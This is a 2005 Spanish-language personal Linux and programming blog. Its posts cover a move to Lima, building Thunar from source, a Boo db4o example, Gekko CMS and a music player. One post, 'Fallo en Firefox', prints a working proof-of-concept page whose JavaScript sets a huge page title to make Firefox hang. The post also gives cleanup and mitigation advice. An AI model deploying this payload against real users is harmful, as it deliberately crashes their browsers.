The New Cult of Dead Cow

December 25, 2005






De Mudanza

Filed under: Uncategorized

Nunca pense que realizar una mudanza fuera tan dificil !!

Hace una semana, recibi la llamada de eqsoft, para venirme a la capital ( vease Lima) para realizar un trabajo en php. Asi que en dos dias tuve que organizar una super mudanza. Como no tenia pensado regresar a Trujillo ni de vainas (necesitaba un cambio de ambiente) arregle todo lo que pude, hasta mi pobre Pentium 4 la desarme y me la traje conmigo. Y como yo en la vida iba a estar extento de hacer alguna burrada :P pues al momento de ir a la terminal de buses, envie TODO mi equipaje en el bus equivocado :S.

Jeje menos mal que venia a la misma ciudad y menos mal que tomo buses en buenas empresas que sino ya no tendria mi pc con los gigas de xXx, ejem que digo de informacion y trabajos :P

Todo esto hace recien 4 dias, y recien ayer tuve un time para rearmar mi maquina y conectarla decentemente, asi al fin ya dispongo otra vez de mi linux para trabajar (ya se estaba haciendo insoportable para mi no tenerlo).

Lo unico malo de Lima ( bueno en general de mi pais, pero en Lima se siente con mayor fuerza ), es la poca conciencia social de la gente. En fin tampoco planeo quedarme para siempre ( ven ven , que falta de compromiso con el pais :S en fin ), si todo sale bien estare radicando en Ecuador justo para cuando Humala suba al poder ( por si acaso, se le ocurra fusilar a todas las personas de familias de clase alta ).

Bueno, no podia despedirme sin desearles una feliz navidad a todos, (no soy muy hecho para las fiestas, es mas yo ni me doy cuenta q si es navidad o no, pero como ayer todo el mundo no ha dejado de saludarme como q me contagiaron el espiritu navideño )


Feliz Navidad && Prospero Año Nuevo

December 18, 2005






Thunar => The New File Manager

Filed under: Uncategorized

El mejor administrador de archivos con GUI para linux, pues eso es obvio: Nautilus ;) . Sin embargo no es una opcion a considerar si la maquina de uno no tiene la fuerza suficiente para levantarlo ya q es algo pesadito. Asi que opciones algo mas ligeras hay varias, como podemos citar:

  • Xfe: Muy buena opcion sino te importa sentir q estas en windows :S. Lo unico malo, es gtk1.
  • Rox: Es muy configurable y tambien sirve para poner iconos en el desktop de entornos graficos como el fluxbox o xfce, pero en lo personal no me agrada.
  • Xffm: Nooo, cualquier cosa menos eso, sera que nunca lo llegue a entender. Es uno bastante ligero pero en lo que a mi respecta es totalmente inproductivo.

Sin embargo, ya esta proximo a salir un release de un nuevo gestor de archivos, Thunar, con una interfaz totalmente amigable ( me aprece q el nuevo nautilus la copio de thunar, o thunar del nuevo nautilus ). Un muy buen rendimiento, una carga inicial asombrosamente rapida ( para aquellos q estamos acostumbrados al nautilus ).

Puntos malos, no tiene opcion para quemar CDs, y creo que tampoco permite hacer un preview de mp3. Otro punto flaco es que interpreta los tipos de archivo segun la extension y no segun el contenido como el nautilus, pero bueno no creo q me sea imposible acostumbrarme :P

Aca dejo algunos screenshoots:

Si te gusto y deseas probarlo,


   emerge  xfce-4
   emerge  gtk-doc
	
  svn co http://svn.xfce.org/svn/xfce/xfce4-dev-tools/trunk xfce4-dev-tools
  cd xfce4-dev-tools
  ./autogent.sh
   make
   make install
	
   svn co http://svn.xfce.org/svn/xfce/libexo/trunk/ libexo
   cd libexo
   ./autogen.sh
   make
   make install
	
   svn co http://svn.xfce.org/svn/xfce/thunar/trunk/ thunar
   ./autogen.sh
   make
   make install    
	

December 17, 2005






DataBase for Objects

Filed under: Programacion, Mono, OpenBss, Boo

Buscando alternativas para el manejo de los datos en OpenBSS y alertado por un mail en la lista de desarrollo, dirigi mi mirada a db4o, este framework permite realizar el almacenamiento de Objectos (Java o .Mono) de una forma totalmente transparente.

Anteriormente enzo, estuvo experimentando con Hibernate que permitia guardar los objetos en una base de datos relaciones, sin embargo recuerdo que tuvo muchas dificultades con el proyecto. DB4O, no solo nos permite un uso sencillo de su funcionalidad ( aunque no por es menos potente) sino que ademas nos permite llevar el producto donde sea sin complicadas instalaciones, debido a que es una base de datos empotrada, al mismo estilo sqlite aunque sin tener las deficiencias de este ultimo.

Otro de los puntos a favor de esta tecnologia es su bajo consumo de recursos, y buen tiempo de respuesta (actualmente es usada la el control de las lineas ferreas de los trenes “bala” en España). Lamentablemente no existe una version del proyecto que pueda ser usada directamente en php o en python.

A continuacion un pequeño ejemplo de su uso:


	
import System
import System.IO
import com.db4o
	
class Pilot:
	private _name as string
	private _points as int
	
	def constructor(name as string,points as int):
		_name = name
		_points = points
	
	Name as string:
		get:
			return _name
	
	Points as int:
		get:
			return _points
	
	def AddPoints(p as int):
		_points = _points + p
	
	override public def ToString():
		return _name + \" / \" + _points
	
print \"Creando Contenedor\"
db = Db4o.openFile(\"data.yap\")
db.set(Pilot(\"Mario\",2))
q = db.query()
q.constrain(typeof(Pilot))
result = q.execute()
while ( result.hasNext()):
	Console.WriteLine(result.next().ToString())
db.close()

December 13, 2005






FrameWork o CMS?

Buscas un nuevo proyecto?, no sabes que hacer en tus ratos de ocio?, te interesa aprender php pero de verdad? o simplemente quieres poner tus fotos en intenet. Cualquier excusa es buena para introducirse al mundo de gekko!. Este proyecto (relativamente nuevo) desarrollador por xiam ( cuando no Mexico haciendo cosas :P ) busca ser no solo un gestor de contenidos mas, sino que en base a una adecuada modularizacion del sistema, permitirnos tener un Framework de desarrollo para aplicaciones web en php.

El proyecto es bastante joven, aunque no por eso se encuentra en pañales P, asi que buscabas un sitio donde tu codigo se pudiera hacer notar, este proyecto es para ti. Y si eres un artista de los templates, o te gusta jugar con el gimp, aca podes dar rienda suelta a tu creatividad creando y aportando con tu trabajo.

No dejes pasar la oportunidad que tu nombre este en los creditos de este prometedor proyecto. Unete al equipo de Gekko.

PD: Si no te animas a instalarlo y aun asi te pico el bicho de la curiosidad, date una vuelta por el site de prueba

December 8, 2005






Fallo en Firefox

Recientemente ha sido detectado(y aprovechado) un fallo en mozillafirefox. Se trata en insertar un pequeño codigo javascript en una pagina web cualquiera, este script provoca un crecimiento desmesurado del archivo history.dat, que es donde firefox guarda el historico de visitas.

Al reiniciar firefox, este se queda “colgado”, y seguira asi a no ser que el fichero history.dat sea borrado.

Este fallo solo afecta al navegador firefox(en cualquiera de sus versiones y para cualquiera de sus plataformas), mas no a otros basado en mozilla (al menos no en pruebas hechas en galeon y epiphany).

Para solucionar este problema los usuarios de linux:
locate history.dat | grep home | grep mozilla
y luego borren esos archivos con
rm <nombre fichero>

A continuacion, incluyo el script por motivos de pruebas e investigacion x cualquier interesado:

<html><head> <title> titulo </title> <script type=”text/javascript”>
function ex() {
var buffer = “”;
for (var i = 0; i < 5000; i++) {
buffer += "A";
}
var buffer2 = buffer;
for (i = 0; i < 500; i++) {
buffer2 += buffer;
}
document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
</a></body></html>

Para los que no entiendan javascript, lo que hace este programa es crear una cadena de 5000*500 caracteres y eso lo pone como titulo de la pagina,
lo cual luego produce un desbordamiento de buffer, en firefox que no soporta cadenas tan largas cuando quiere usar la informacion del historico.

PD: Una posible solucion es desactivar el registro historico de paginas visitadas indicando cero en el numero de dias que se guarda el historial.






Adios Gtk1

Filed under: Ragnarok, Linux

Una de las pocas aplicaciones ( y tal vez la unica casi imprescindible ) que me hacia tener las librerias del gtk1 instaladas era el XMMS.

La verdad es que ya era hora que pudieran ser desechadas, esteticamente hablando era muy fastidioso x decir menos usar aplicaciones gtk1. Pero al fin hay un sustito de xmms, se llama beep-media-player. Es tambien un reproductor superligero, con la misma interfz de xmms pero un poco mas cuidada y basada en gtk2.

Digamos que xmms era el winamp 1.7 y beep-media-player el winamp 5.0 :P

Aca les dejo unos screenshoot para que lo aprecien.


PD: Los usuarios de Gentoo o RagnarokLinux lo pueden instalar: emerge beep-media-player

Nota de Actualizacion
Este reproductor de musica me permite usar varios sonidos a la vez aun usando solo alsa, el xmms siempre me bloqueaba el sonido :D






















Get free blog up and running in minutes with Blogsome
Theme designed by B A Khan